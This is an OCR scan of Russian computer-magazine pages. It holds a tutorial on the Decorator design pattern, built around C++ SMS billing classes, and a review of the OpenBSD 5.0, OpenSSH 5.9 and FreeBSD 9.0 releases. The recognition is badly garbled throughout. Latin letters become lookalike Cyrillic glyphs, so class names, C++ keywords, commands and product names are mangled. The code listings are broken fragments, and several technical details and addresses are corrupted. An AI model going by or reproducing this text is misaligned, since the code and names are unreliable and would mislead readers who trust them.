Иерархия классов биллинга 

сІаББ 5М5Ві11іп§ 

риЫіс: 

со5І:() = 0; 



} 

сІаББ БМБВееІіпе : риЫіс 5М5Ві11іп§ 

{ 

риЫіс: 

ѵігіиаі Поаі: собііО 

{ 



геіигп ЬееІіпеСозІ:; 



// классы ЗМЗМе^аТоп и БМБМІіб подобны классу БМБВееІіпе 



по 
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Паттерн проектирования «Декоратор: 



На первый взгляд все выглядит хорошо. Если мы решим ра- 
ботать еще с каким-нибудь ОпСоСом, то просто создадим допол- 
нительный класс, который будет наследовать 5М5В іі I іпд . Сотовых 
компаний не так много, и мы не боимся, что наши классы распло- 
дятся как кролики, к тому же мы работаем только в России. 

Но тут мы решаем расширяться, не на весь мир конечно, но на 
СНГ точно. В соседних странах и республиках тоже работают наши 
операторы, но цена за СМС там немного отличается. Например, 
тот же налог на добавленную стоимость (НДС) разный в разных 
регионах, хотя базовая стоимость короткого сообщения остается 
неизменной. Чтобы учесть эти нюансы, мы начинаем расширять 
нашу иерархию СМС-биллингов. 

Добавляем республики 

с1а55 БМ БВееІіпеІІА: риЫіс БМ БВіІІіп^ 

риЫіс : 

ѵігііиаі Яоаі: с обііО 

_С_ 



ге1:игп ЬееІіпеЦАСоб'Е: 



} 




Еще одна диаграмма классов паттерна «Декоратор» 

{ 



// получаем базовую стоимость от родительского 

// класса и умножаем его на коэффициент для Украины 
ЬееІіпеІІАСоБІ: = зирег: : со5~Е() * сое-РбсіепІіЦА: 
геіигп ЬееІіпеІІАСоБІ:: 



сІаББ БМБВееІіпеВУ : риЫіс 5 М5Ві11іп§ 

І_ 

риЫіс : 

ѵігіиаі Яоаі: собіО 

{ 



геіигп ЬееІіпеВУСовІ:; 



} 



// классы $М$Ме^а-РопЦА, $М$Ме?а-РопЦА, БМБМібЦА и БМБМібВУ 
// подобны классам БМБВееІіпеІІА и БМБВееІіпеВУ 

Так как мы по своей природе ленивы, как и большинство 
людей, то решили накодить все максимально просто и быстро. 
Несколько дополнительных классов, расширяющих БМЗВіІІіпд, 
вроде решили проблему. Теперь, помимо БМБВееІіпе, БМБМедаіюп 
и БМБМіз, у нас еще есть БМБВееІіпеІІА, БМБМізВУ и т. д. Каждый 
такой класс реализует свой вариант метода собД), который учи- 
тывает все этнические, политические и экономические различия 
в ценообразовании платных эсэмэсок на просторах бывшего Со- 
ветского Союза. После того как мы начали работать только в двух 
дополнительных регионах, количество классов увеличилось аж на 
целых шесть штук. Нетрудно подсчитать, сколько их станет, когда 
мы продолжим наращивать обороты. 

Огромное количество классов в иерархии само по себе являет- 
ся достаточно серьезной проблемой, но есть кое-что и пострашнее. 
Что делать, если базовая стоимость сообщения у какого-нибудь 
оператора вдруг изменится? Тогда нам придется переписывать 
метод созШ во всех классах биллинга этого оператора. Это крайне 
нежелательно, так как вероятность возникновения багов, глюков и 
прочих неприятных вещей в системе значительно возрастет. Но мы 
же умные кодеры, мы знаем, что такое ООП, и поэтому программи- 
руем следующую штуку: 

Теперь поддержка иерархии классов биллинга будет не 
такой сложной 

сІаББ БМБВееІіпеІІА : риЫіс Б МБВееІіпе 

І_ 

риЫіс: 

ѵігСиа! Йоаі: со5~Ь() 



} 

// классы БМБМе^а-РопЦА, БМБМе^а-РопЦА, БМБМібЦА. БМБМібВУ и 
// БМБВееІіпеВУ подобны классу БМБВееІіпеІІА 

Что же мы сделали? Так как базовая стоимость СМС для опреде- 
ленного ОпСоСа остается неизменной во всех регионах, то мы 
просто выделили еще один уровень абстракции. Теперь БМБВееІіпе, 
БМБМедаіюп и БМБМіз в методе созШ выдают лишь базовую 
стоимость сообщения без учета местных налогов и сборов, а их 
наследники БМБМізВУ, БМБМеда^опІІА и т. д. уже обсчитывают эту 
стоимость для каждой республики. Ну и что, что классов стало не- 
много больше (добавились биллинги с постфиксом РСІ), зато теперь 
нам легче модифицировать созШ. Мы вроде бы на правильном пути, 
но тут в игру вступают законы бизнеса. 

НАМ НУЖНЫ СКИДКИ 

В какой-то момент мы понимаем, что для успешного развития нашего 
бизнеса нужна система скидок. Причем система достаточно сложная. 
Например, каждое третье воскресенье месяца мы даем скидку на 
СМС 5 %. Также предоставляем скидки на день рождения, праздни- 
ки, за отправку СМС ночью и т. д. Самое главное, что все эти скидки 
могут суммироваться. То есть, например, каждое воскресенье с часу 
ночи до четырех утра действует скидка 7 %, но в третье воскресенье 
месяца к ней добавляется 5 %-я скидка, и в итоге общая стоимость 
уменьшается на 12 %. 

Следуя принципам заложенной нами же архитектуры, мы должны 
добавить еще один уровень иерархии в наши биллинги. При этом ко- 
личество классов возрастет в геометрической прогрессии. Что делать 
со скидками, вообще сложный вопрос. 

Еще одна ступень классов биллинга со скидками 

сІаББ БМБВее1іпеІІАВіг1:Ііс1ауРІ5соип1і : риЫіс БМБВееІіпеІІА 

{ 

риЫіс: 

ѵігЕиа! ііодЛ соб1:() 

{ 



// получаем базовую стоимость от родительского 
// класса и умножаем ее на коэффициент для дня 
// рождения 

ЬееІіпеІІАВігіІісІауСоБІ: = 

зирег : : собіП * сое-Рбсіеп1:Віг1:ІісІау ; 



ХАКЕР 12/155/2011 



111 




кодинг 



□сідбя Рі 77дкІііЫптаіо : ІРі?7а 

|{ 

ІРігга рігга; 

□ риЫіс РІ22аМііЬТота1:о(ІРІ2га рігга) 

{ 

ІМз.рігга = рі22а; 

I I 

□ риЫіс гіесітаі Се1:Ргісе{) 

[ 

геіигп рІ22а.Се1:Ргісе() + В; 

} V 

ь 



(^Ьа $е і беіРгі с і? ( )^) 



М4М& & Г 




Немного кода 



Диаграмма классов паттерна «Декоратор» 



геіигп ЬееІіпеЦАВігІіІпсІауСозІ: ; 
іі 



} 



// прочие классы со скидками будут похожи 

// на $М$Вее1іпеІІАВіп1=ИсІауРІ5соип1: 

Конечно, мы можем отойти от жесткого разделения на классы 
и добавить в базовый класс 5М5ВіІІіпд метод БеЫізсоипДЛоаД, 
который будет принимать процент, на который снижается стоимость 
сообщения. 

Выносим скидку в базовый класс 
сіазз 5М5Ві11іп§ 

ргіѵаііе: 

Лоаі: ш сІІБСо ипІ:; 
риЫіс : 

ѵоісі 5е1:РІ5соип1:(Лоа1: сІізсоипЫ {шсІІБСоипІ: = сіізсоипі:; }; 
ѵігіиаі Поаі: созіО = 0; 



> 



СІЭ55 БМБВееІіпе: риЫіс $М$Ві11іп^ 

і_ 

риЫіс : 

ѵігіиаі Яоаі: с обіО 

{ 



ге1:игп ЬееІіпеСозІ:; 
1^- 



} 

// классы 5М5Ме§а-Роп и $М$М1=5 подобны классу 5М5Вее1іпе 



сІазБ 5М5Вее1іпеІ)А: риЫіс БМБВееІіпе 

І_ 

риЫіс : 

ѵігіиаі Лоаі: с обііО 

{ 



// получаем базовую стоимость от родительского 



// класса и умножаем ее на коэффициент для Украины. 
// если скидки нет, в противном случае умножаем 

// еще и на сумму скидки 

і-р (ш_ сІІ5соип1= != 0) 

ЬееІіпеІІАСозІ: = 

зирег: : собііО * сое-РбсіепіЦА * ш сіізсоипі:; 
ЬееІіпеІІАСозІ: зирег: :соб 1:() * сое-РбсіепіІІА; 



геіигп ЬееІіпеІІАСозІ:; 



// классы 5М5Ме?а-РопЦА, $М$Ме?а-РопЦА, 5М5МІЗЦА, БМБМізВУ и 
// БМБВееІіпеВУ подобны классу 5М5Вее1іпеІ)А 



Ьі11іп§ = пей/ Б МБВееІіпеІІАП ; 

// клиенту надо знать, какая скидка когда действует 

Ьі1 1іп^->5е 1=РІ5соипі:( Ѳ Л) ; 
собі: = Ьі11іп§->соб1:() ; 

Количество классов в иерархии в этом случае уменьшится, но 
клиенту, использующему биллинг, придется самому высчитывать 
сумму скидки, следовательно, он должен хорошо разбираться во всех 
внутренних правилах ценообразования компании. Это совершенно 
неприемлемо, поэтому надо придумать более правильное решение. 

ПАТТЕРН «ДЕКОРАТОР» 

Идея разбить классы биллинга на несколько уровней была почти 
правильной. Но, как известно, наследование не самая гибкая 
концепция в 00-программировании. Гораздо лучше нам подой- 
дет композиция. Собственно, она и лежит в основе паттерна 
«Декоратор». Мы, как и прежде, объявим класс БМЗВіІІіпд и его 
дочерние классы БМБВееІіпе, БМБМедаІоп и 5М5МІЗ. Эти классы 
у нас останутся без изменений, но с регионами и скидками мы 
поступим по-другому. Сначала займемся республиками. Для этого 
создадим класс РедіопОесогаІог, который в качестве родителя 
будет иметь хорошо известный нам БМБВіІІіпд. Главное отличие 
«Декоратора» от остальных наследников базового биллинга в том, 
что он запоминает ссылку на БМБВіІІіпд. Эта ссылка передается 
ему в конструкторе. Метод созД] класса РедіопОесогаІог обраща- 
ется к объекту типа ЗМЗВіІІіпд, вызывая его версию алгоритма для 
подсчета стоимости СМС. После этого он сможет модифицировать 
значение, полученное от биллинга. Чтобы было понятней, надо 
взглянуть на код. 
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Паттерн проектирования «Декоратор: 



«Декоратор» для подсчета цены в зависимости от региона 

сІаББ $ М5Ві11іпе 

риЬІіс : 

ѵігііиаі Яоаі: с обіО = 0 ; 



СІЭ55 БМБВееІіпе: риЬІіс $М$Ві11іп^ 

І_ 

риЬІіс : 

ѵігііиаі Яра! собіО 

{ 



геіигп ЬееІіпеСоБІ:; 



> 



сІавБ Ке^іопРесогаіог : риЬІіс 5М5Ві11іп§ 

ргіѵаііе: 

5М5Ві11іп% &т_Ьі11іп%; 
риЬІіс : 

Ке§іопРесога1:ог(5М5Ві11іп§ &Ьі11іп§) : 
т_ Ь і11 іп§(Ьі11іп§) 

{ 

} 

ѵігіиаі Яоаі: соб ііО = 0 ; 



}— 

с1а55 КІІКе^іопРесогаІіог : риЬІіс Ке§іопРесога1:ог 

І_ 

риЬІіс : 

КІІКе^іопРесогаІіогСБМБВіІІіп^ &Ьі11іп^[) : 
Ке%іопРесога1:ог(Ьі11іп^ 

{} 

ѵігіиаі Яоаі: с обііО 

{ 

Ира! С05ІКЦ = т_Ьі11іп§.со5І:() * сое-РЯсіепіКІІ; 
геіигп собіКІ); 

} 



} 

// классы ЦАКе^іопРесогаІіог и другие 

// подобны КЦКе§іопРесога1=оп 

В примере мы объявили несколько конкретных реализаций 
регионального «Декоратора», таких как РІІРедіопОесогаІог, 
ІІАРедіопОесогаІог и т. д. Каждый из этих классов модифицирует 
стоимость СМС с учетом определенных условий. Благодаря по- 
лиморфизму клиенты биллинга не будут видеть разницы между 
«Декоратором» и реальным классом БМБВіІІіпд. Обернуть объект в 
«Декоратор» и воспользоваться им можно примерно так: 

Используем «Декораторы» 

// создаем биллинг для конкретного оператора 

5М5Ві11іп§ &Ьі11іп§ = пеш 5М5Вее1іпеО : 

// оборачиваем в "Декоратор" 

Ьі11іп§ = пей/ К ІІКе^іопРесоаІіогЧЬіІІіпе’) ; 

// будет возвращена стоимость для России 

Яоаі: собі: = Ьііііп^. собііП ; 

Уже обернутые объекты можно снова задекорировать. Ничто 
не мешает нам сделать это бесконечное количество раз. Цепочка 
вызовов собШ будет раскручиваться от последнего «Декоратора» 
к реальному объекту биллинга. Эту возможность мы применим для 
создания «Декоратора» скидок — ОізсоипЮесогаІог. 



РІБСоипІіРесогаіог и несколько слоев обертывания 

сІаББ РІБсоипіРесогаІіог : риЬІіс БМБВіІІіп^ 

ргіѵаіе: 

5М5Ві11іп§ &т_Ьі11іп§; 

риЬІіс : 

РІ5соип1:Ресога1:ог(5М5Ві11іп§ &Ьі11іп§) : 
т_Ьі11іп§(Ьі11іп§) 

{ 

} 

ѵігіиаі Яоаі: с обііО = 0 ; 



у 



сІаББ ВігіЬсІауРІБСоипІіРесопаІіоп: риЬІіс РізсоипІіРесогаІіог 
риЬІіс : 

ВігіІісІауРІБСоипІіРесогаІіог^БМБВіІІіп^ &Ьі11іп§) : 
РІ5Соип1:Ресога1:ог(Ьі11іп§) 

{ 



Яоаі: соБіВігІіЬсІау^ 

т_Ьі11іп§.со5І:() * сое-РЯсіепіВігІіЬсІау; 
геіигп соБіВігІіЬсІау; 






// другие классы "Декораторов" скидок 
// подобны ВігіЬсІауРІБСоипІіРесогаІіог 



// создаем биллинг для конкретного оператора 
5М5Ві11іп% &Ьі11іп§ = пей? БМБВееІіпеО; 

// оборачиваем в "Декоратор" 

Ьііііп^ = пеш К ІІКе^іопРесоаІіоКЬіІІіп^’) ; 

// и еще раз 

Ьі11іп§ = пей? Віг1:ІісІауРІ5соип1:Ресоа1:ог(Ьі11іп§) ; 



// будет возвращена стоимость с поправкой на Россию 

// и с учетом скидки на день рождения 

Яоаі: собі: = Ьіі ііп^. собііО : 

Благодаря такой вот нехитрой манипуляции мы значительно 
сократили количество используемых классов, повысили гибкость 
и упростили поддержку кода. Теперь клиенты классов биллинга 
могут не беспокоиться о внутреннем устройстве нашего ПО. 

Однако ты можешь заметить, что проблема со скидками 
устранена не полностью. Клиенту до сих пор нужно знать, каким 
«Декоратором» обернуть объект для получения нужной суммы. 

Но, во-первых, ему не надо знать размер скидки (как в случае с 
использованием метода БеЮізсоипі), а во-вторых, для полного 
устранения зависимости от конкретных реализаций следует ис- 
пользовать фабрики классов — еще один паттерн, о котором мы, 
возможно, поговорим в следующий раз. 

ИТОГИ 

Использование паттерна «Декоратор» позволило нам значительно 
упростить реализацию и поддержку сложной иерархии клас- 
сов. Конечно, у него есть свои минусы: зависимость клиента от 
реализации, а не от интерфейса (которая устраняется с помощью 
фабрики классов) и невозможность использовать специфические 
для наследника методы. Однако в огромном количестве случаев 
этот шаблон проектирования сильно выручает. Его правильное и 
осознанное использование позволяет вывести систему на новый 
уровень качества. И-Е 
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Сергей Яремчук (дгіпсІегйШх.іп.иа), 

Евгений Зобнин (ехесЬіІ.ги) 



ЗНАКОМИМСЯ 
С РЕЛИЗАМИ 
0РЕИВ50 5.0 
И РРЕЕВ5Р 9.0 



• Релизы ОрепВББ 
выходят два раза в год: 1 
мая и 1 ноября. Версия 5.0 
является 32 релизом ОС. 

• Первые версии 
ОрепВБО 2.3 и 2.4 в 
качестве талисмана 
использовали демона 
с нимбом, похожего 
на Веазііе, затем его 
сменила рыбка РиНу из 
семейства иглобрюхих. 

• День рождения 
ОрепВБО — 19 октября 
(1995 год). В этом году 
системе исполнилось 
16 лет. 



Сегодня, когда ни один день 
не обходится без сообщений 
о новых взломах и найденных 
уязвимостях, возникает 
ощущение, что защититься 
от злоумышленников просто 
невозможно. Но это совсем 
не так. В мире ОС существуют 
бастионы, способные 
противостоять всевозможным 
угрозам. ОрепВБО и РгееВБО — 
самые известные системы 
этого класса. Посмотрим, что 
интересного предложили 
разработчики в их последних 
версиях. 



• ОрепВБй сегодня 
вторая по популярности 
ВБО-система после 
РгееВБй. За ней следуют 
МеІВБй и ОгадопРІуВБО. 

• На базе ОрепВБО 
создано несколько 
ЫѵеСО: МагВБО, Оиеігаі, 
РидиІІа, іддіті, ОІіѵеВБО, 
АпопутОБ, ЫѵеСО- 
ОрепВБй, ВБйапуѵѵЬеге 
и другие. 

ѵтш 

• Сайт проекта ОрепВБО 
— 

• Сайты русскоязычных 
пользователей Ореп- 
ВБО — оеедЬзйлчь. 
оЬзсІ.ги . 



• Блог разработчиков 
ОрепВБО ЗоигпаІ — 

ипсіеасііу.огд . 

• Веб-сервис по работе 
с деревом портов Ореп- 
ВБО — одеддш^зе. 



ЗНАКОМИМСЯ С 0РЕЫВ50 5.0 



Разработка ОрепВБО началась в 1995 году, когда Тео де Раадт, один 
из четырех основателей Ые1:В50, ушел из проекта из-за разногласий 
по поводу курса развития операционки. Он взял за основу дерево 
нетки и приступил к созданию новой ОС, сделав упор на безопас- 
ность. Девиз Ргее, Рипсііопаі апсі Бесиге полностью отражает дух 
этой системы. Подход к ее разработке можно назвать параноидаль- 
ным, хотя, вероятно, именно таким он всегда и должен быть. Весь код 
проходиттщательную проверку, благодаря чему ошибки и дыры уда- 
ется найти и устранить еще до того, как ими кто-нибудь воспользует- 
ся, на стороннее ПО перед включением в дерево портов обязательно 
ставятся дополнительные заплатки. После обнаружения ошибки 
проводится тотальный пересмотр соответствующего кода. Систем- 
ные демоны (сИісрсІ, п*рсІ, Ьдрб...) разделены на несколько частей, и 
в процессе работы только одна из них требует больших привилегий. 
При разработке используются собственный АРІ (функции зігісаі;, 
зітісру, іззеіидісі, агс4гапсІот и другие) и дополнительные инстру- 
менты (например, Бузіхасе, 6СС/РгоРоІісе], проводится рандомиза- 
ция всего и вся, что позволяет избежать проблем с безопасностью и 
превращает взлом ОрепВБО в довольно неблагодарное занятие. 

Другая важная особенность ОрепВБО состоит в том, что в этой 
системе, в отличие от Ыпих и других ВБО-систем, не используют- 
ся драйвера в виде так называемых блобов (ЫоЬ, от Ьіпагу ІіпкесІ 
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Начиная с ОрепВБО 4.9 все сервисы перекочевали в /еіс/гс.сі 



оЬіес* — объект двоичной компоновки), скомпилированных модулей 
с недоступным исходным кодом. Конечно, такой подход сокраща- 
ет список поддерживаемого оборудования, но зато гарантирует 
защиту от всякого рода сюрпризов. В настоящее время только три 
ОС — ОрепВБО, дЫемБепзе и ОоЬипІи — не используют блобы. Самое 
главное, что для чистоты кода разработчики могут переписать любой 
драйвер или ПО, а впоследствии и перенести их в другие В50- 
системы. Если производители железа не идут навстречу, то драйвер 
убирают из ядра, как это было в свое время с Абаріес. Интересно, что 
основатель Р5Р Ричард Столлмен однажды заявил, что не рекомен- 
дует ОрепВБО, так как эта ОС содержит несвободное ПО. Однако Тео 
сразу же опроверг эти слова (его ответ, который начинается с фразы 
«Ричард, ты не прав», легко найти в интернете). На самом деле в 
портах находятся лишь МакеЛІе с II РІ_ для закачки, а не сами про- 
граммы. Дерево портов практически не содержит программ, которые 
распространяются в скомпилированном виде без исходного кода. 

Благодаря тому что в настоящий момент ОрепВБО поддерживает 17 
различных архитектур, она широко используется и для встраиваемых 
устройств. Этому также способствует ВБО-подобная лицензия І5С, 
которая разрешает распространять, копировать и модифицировать код 
без отчислений. Для сторонних компаний лицензия ВБй удобнее 6РІ_, 
так как позволяет им свободно использовать возможности системы для 
разработки собственных продуктов. Установленная ОрепВБО по умол- 
чанию почти не имеетактивных сервисов. Пользователь сам активи- 
руетто, что нужно ему для работы (ззИб, п1;рб, X — во время установки). 
Хотя такой подход вызывает критику (в первую очередь у пользовате- 
лей Ыпих, которые привыкли к тому, что «все включено»), за все 16 лет 
существования системы в ее версии по умолчанию были найдены всего 
две критические уязвимости. (Опіу 1;ѵѵо генлоке Иоіез іп Ше беШиІІ іпзіаіі, 
іп а Неск о{ а Іопд бте!) Чтобы кривые ручки пользователей не обруши- 
ли систему, комьюнити (например, орепЬзб.ги ) предлагают готовые 
прокомментированные конфиги. 

Практически с самого начала разработчики начали выпускать 
новые релизы с интервалом в полгода. Такого же графика они строго 
придерживаются и сейчас. На сегодня доступна версия 5.0. Полный 
список изменений занимает не одну страницу мелким шрифтом: так, 
в новой версии увеличен список поддерживаемых устройств, устра- 
нен ряд ошибок и обновлен список ПО. Перечислим лишь некоторые 
нововведения. 

• Для ускорения поиска свободных слотов функция динамического 
распределения памяти таііос теперь стартует с произвольного 
значения и берет первый свободный слот. Ранее поиск начинался 
с нуля, а в его ходе пропускалось случайное число свободных 
участков. Такой алгоритм работал довольно медленно. Новый 
подход должен увеличить быстродействие системы. 



• Драйвера агаііа (4), ѵг(4), Ьпх(4), ет(4), іх(4), трі(4) существенно 
улучшены. 

• Добавлена поддержка ѴѴакеоп БАИ для основных типов сетевых 
карт(ге, ѵг,хІ). 

• Фильтр пакетов р{ получил возможность устанавливать приори- 
теты пакетов ІРѵбАСК, оптимизирован алгоритм вычисления 
оптимального МТІІ, избыточная проверка некоторых контроль- 
ныхеумм больше не проводится (I Рѵ4 и МРІ_5). 

• В озрШ появилась поддержка Орацие І_5А (Ыпк-Біаіе 
Абѵегіізеітіепі), описанного в документах РРС2370/РРС5250 и 
реализующего поддержку новых типов объявлений (9-11). Типы, 
различающиеся пообласти объявления (отлокального додомен- 
ного), показарезервированы для последующегоулучшения про- 
токола. Однако поддерживаемая маршрутизаторамитехнология 
дгасеШІ гезіагі (или поп-зШрШгѵѵагсІіпд, РРС3623)уже использует 
тип 9, когда возможен перезапускроутера без изменениятополо- 
гии сети, а МРІ_5 (механизм, осуществляющий передачу да иных от 
одного узла сети к другому с помощью меток)управляеттрафиком 
с помощью типа 10. Теперь ОрепВБО может полноценно работать с 
МРІ_5-маршрутизаторами. 

• Изменен алгоритм обработки ХО РР и ХОРОв БоЙРАЮ РАЮ6, 
теперьэти операции производятся быстрее. 

• Исправлен рядошибок, которые приводили к зависанию системы 
при переходе в режим гибернации на І386. 

• Повышена стабильностьработы ІІБВ-стека. 

• Удален режим сотраЫгееЬзсІ, в сотраНіпихвнесены многочис- 
ленные изменения. 

• Создана программнаязаглушка, позволяющая в будущем при- 
цепитьотладчикбІЧІІ йеЬиддег. 

• Устранен рядошибокв консольном мультиплексореітих, упрощены 
изменение и заморозка размера окон. Параметр '-з'теперь позволя- 
ет отключить всех клиентов, подсоединенных кітих-сессии. 

• В менеджере СѴѴМ вновь доступ на частота обновления экрана по 
умолчанию 60 Гц, меню окна теперь может работать и сХіпегата, 
пофиксены баги, связанные с отрисовкой окон программ. В би- 
блиотеках появился ІіЬсІгпп гасІеоп, обеспечивающий поддержку 
Зй в некоторых картах от АТІ. 

• В механизмзузсіі включен параметр кегп.рооІ сІеЬид, налету 
активирующий или отключающий опцию РООІ__ОЕВІІ0 (допол- 
нительные процедуры проверки при выделенииучастков памяти 
для нужд приложений). Эта полезная для разработчиков опция 
несколько нагружает систему. Раньше приходилось пересобирать 
ядро, чтобы эту опцию отключить. Теперь в этом нет необходи- 
мости. Кстати, для АМ064 параметр Ьідтет активирован по умол- 
чанию. 
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ІЖІХОГО 



• В ряде приложений и библиотек (ЬехбитрДсрсІитр, ІіЬс) исправ- 
лены ошибки, возникавшие при использовании ІІТР-8. 

• В 0репВ504.9длязапуска и остановки демонов используется 
каталог/еіс/гс.сі. В версии 5.0 разработчики продолжили переход 
на новую систему инициализации, благодаря чему за пределами 
/еіс/гс.сі осталосьлишьнесколько гс-файлов гс.{ІосаІ,5ЬиІсІоѵѵп}. 

• Команда пеЫаІ -ѵР, выводящая данные о РСВ-адресах (Ргоіосоі 
Сопігоі ВІоск), показывает дополнительные поля о сокетах. 

• ВсІізкІаЬеІ появился ключ ’-Р', устанавливающий метку ІІЮ, 
котору ю теперь используют {сПзки тоипі (во время установки вы- 
дается соответствующийзапрос). 

• В качестве репозитория для ркд теперь можно задать на удален- 
ном узле каталог вида 5ср://Ьо5Іпате/~изег/5ііЬсІіг. 

• Добавлена поддержка платформы Веадіе ЬоагсІ (одноплатный 
компьютер с микропроцессором ОМ АР3530 на основе ядра АРМ 
СогІех-А8, разработанный компаниями Техаз Іпзігштіепіз и йіді- 
Кеу). 



НОВШЕСТВА 0РЕЫ55Н 5.9 



С ОрепВЗО тесно связан ряд проектов, которые пользуются у юз- 
верей и админов не меньшим спросом, чем сама ОС. Это пакетный 
фильтр РР, заменивший ІРРіКег после разногласий с лицензией 
и впоследствии перекочевавший в другие ВЗй, демон І\ІТР — 
ОрепІЧТРО, а также реализации протоколов динамической марш- 
рутизации ОрепОЗРРй и ОрепВОРО. Кроме того, вовсю ведется 
разработка своего сервера СѴ5 — ОрепСѴЗ. Хотя в любом случае 
возглавляет этот спи со к 0 реп 55 Н — свободная реализация про- 
токола 55Н, обеспечивающего безопасное управление удаленным 
хостом. 

В версии ОрепЗЗН 5.9, анонсированной 6 сентября, появилась 
дополнительная возможность повысить безопасность за счет 
создания запсІЬохез (песочниц) и ограничения системных вызовов 
при помощи зузігасе, зеаіЬеІІ и гіігпіі. Такой механизм позволяет 
защититься от атак на другие хосты (через сокеты или прокси) и 
некоторых локальных атак на систему. Пока поддержка запсІЬох за- 
явлена как экспериментальная, но в следующем релизе она станет 
стандартной опцией. Этот режим активируется путем установки 
параметра ІІзеРгіѵіІедеЗерагаІіоп в запсІЬох, все остальное проис- 
ходит автоматически. Теперь при сетевом подключении создается 
форк, представляющий собой непривилегированный сетевой 
процесс с ограниченными полномочиями, который обрабатывает 
55Н- протокол, осуществляет сжатие и выполняет другие операции, 
не связанные с аутентификацией. Нужный механизм блокировки 
выбирается на этапе сборки в зависимости от ОС. Песочница кон- 
тролирует список системных вызовов для зузШасе и автоматически 



ФБР ПРОПЛАТИЛО ВНЕДРЕНИЕ 
БЭКДОРА В 0РЕІМВ50/ІР5ЕС? 



В конце 2010 года вокруг ОрепВЗО разгорелся скандал по поводу 
вероятного внедрения бэкдора в подсистему ІРзес. Шума было 
много, так как под удар потенциально попадали другие ОС и 
устройства, использующие этот код. Но, естественно, бэкдор так и не 
нашли. Ссылка на новость: аоо.аІ/РІ964 . 



блокирует неразрешенные вызовы. Чтобы использовать зузігасе, 
необходимо активировать параметр 5Ѵ5ТН_Р0І_ІСѴ_КІІ_І_ в ядре 
(пока поддерживается только ОрепВЗО). Утилита зеаіЬеІІ, предна- 
значенная для 05 Х/Оагѵѵіп, работает на основе политик, которые 
запрещают доступ к файловой системе и сети. Утилита гіітіі 
разработана для тех случаев, когда предыдущие две недоступны. 

С помощью зеІгІітііО она запрещает создавать новые процессы 
и файловые дескрипторы. При использовании запсІЬох значение 
ІІзеЬодіп после аутентификации игнорируется. 

Специфические параметры некоторых узлов в ззЬ_сопЛд задают- 
ся с помощью директивы НозС значениями которой могут выступать 
как определенные адреса или имена, так и шаблоны. Раньше в 
качестве значения можно было выбрать модификатор «*» (любое со- 
впадение) или «?» (один любой символ), но начиная с версии 5.9 ша- 
блоны воспринимают и отрицание «!». Таким образом, чтобы теперь 
указать все узлы, помимо определенных, можно написать: 

# са± /е1:с/55Іі/55Іі_сопіі§ 

Нозі: *.ехатр1е.ог|Е[ ! Ьозііі.ехатріе.ог^ 



50ІМ6 5.0 



К каждому релизу команда ОрепВЗО выпускает комикс и песню. 

С их помощью разработчики пытаются донести до пользователей 
проблемы, с которыми пришлось столкнуться при выпуске релиза. 
Для версии 5.0 написана песня ѴѴЬаІ Ме ѴѴоггу? ( доо.дІ/сІПіз^ ). 



РС-ВЗй 9 



Практически параллельно с созданием РгееВЗО 9.0 велась 
подготовка к выпуску десктоп-ориентированной версии РС-ВЗй 9. 

В обновленном инсталляторе ОС была упрощена настройка 2Р5 и 
ОЕИ-шифрования, появилось несколько графических окружений 
(КОЕ 4, 6ІЧ0МЕ 2, ХРСЕ 4, 1_Х0Е) на выбор. Разработан новый 
центр управления, улучшены система резервного копирования 
Ы^е-Ргезегѵег и конфигуратор сети. Очень много изменений в 
системе управления РВІ-пакетами — анонсирован новый формат, 
который поддерживает совместное использование библиотек 
разными пакетами и метапакетов, предназначенных для быстрого 
развертывания группы приложений. Добавлена новая утилита для 
обновления системы, поддерживающая работу с ^гееЬзсІ-и рсІа1:е и 
позволяющая обновить базовую систему до нового промежуточного 
релиза (например, перейти с 9.0 на 9.1). 




На базе ОрепВЗО создано несколько ЫѵеСО 
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Броня крепка 



Также добавлена поддержка ряда алгоритмов шифрования на 
основе 5НА256: НМАС-ЗНА2-256, НМАС-ЗНА2-256-96, НМАС-5НА2-512 
и НМАС-5НА2-512-96. Утилита ззН-кеузідп стала корректно работать 
сЕСБЗА. 

Параметр АиІіИогігесІКеузРіІе (55ІісІ_сопЛд) указывает, где искать 
публичные ключи для аутентификации. Хотя при указании пути всег- 
да можно было использовать символы подстановки (%Ь — домашний 
каталог, %и — логин и т. п.), такого параметра часто не хватало. 
Теперь все стало несколько проще: АіЛНогігесЖеузРіІе принимает 
несколько путей, которые перечисляются через пробел (поэтому 
имена каталогов не должны содержать пробелов). Аналогично в 
ІІзегКпоѵѵпНозІізРіІе/бІоЬаІКпоѵѵпНозІізРіІе можно задать несколько 
файлов для хранения списка известных узлов. 

В версии 5.7 появилась новая опция ІРОоЗ для присваивания произ- 
вольных значений Т05/05СР/0о5, благодаря которой можно управлять 
приоритетом трафика. Теперь ІРОоЗ реализована и для ІРѵб. 

Утилита ззИ-кеудеп получила ключ '-А', который позволяет гене- 
рировать основные типы ключей (Р5А, йЗА и ЕСйЗА) с установками 
по умолчанию (пустой пароль и описание). Эта фича весьма полезна 
при инициализации сервера или написании скриптов. Программа- 
агент, хранящая ключи, теперьтакже принимает данные с конвейе- 
ра из стандартного ввода ззИ-асІсІ — < /ра^ИЛо/кеу, что несколько 
упрощает добавление ключей в ззИ-асІсІ в процессе их генерации или 
получения. 



НОВОЕ В ЕРЕЕВ50 9.0 



С некоторой задержкой разработчики РгееВЗО подошли к финалу 
версии 9.0. Это очень значимый релиз с долгожданными обновле- 
ниями, в котором исправлены давние ошибки. Начиная с этой версии 
РгееВЗО стала гораздо ближе к І_іпих в плане поддержки оборудо- 
вания, использования популярных сегодня технологий и общей при- 
влекательности для системных администраторов, производителей 
серверов и сетевого оборудования. 

Одно из главных новшеств РгееВЗО 9 — это окончательная ин- 
теграция в систему фреймворка динамической трассировки ОТгасе, 
изначально созданного для операционной системы Зоіагіз. Работа 
над интеграцией началась еще в процессе подготовки релиза 7.0, 
однако до сих пор ОТгасе можно было использовать только для 
отладки ядра. Теперь же этот фреймворк позволяет осуществлять 
и трассировку/отладку процессов пользователя. Благодаря этому но- 
вовведению разработчики получат в свое распоряжение мощнейший 
механизм отладки/исследования приложений, не имеющий аналогов 
по мощи и универсальности в мире II N IX. 

Второе важное изменение — это интеграция в базовую версию 
инфраструктуры І_І_ѴМ и компилятора СІапд, которые могут за- 
менить 6СС при сборке ядра, окружения и большинства портов. 

В отличие от 6СС, новые версии которого выходят под лицензией 
6РІ_ѵЗ, І_І_ѴМ/СІапд распространяется под лицензией В50, что 
должно способствовать распространению РгееВЗО в коммерче- 




Во РгееВЗО 9.0 обновлен инсталлятор 




К каждому релизу ОрепВБО выходит постер 



ском секторе. Пока система имеет на борту оба компилятора, но в 
следующих релизах разработчики планируют полностью перейти 
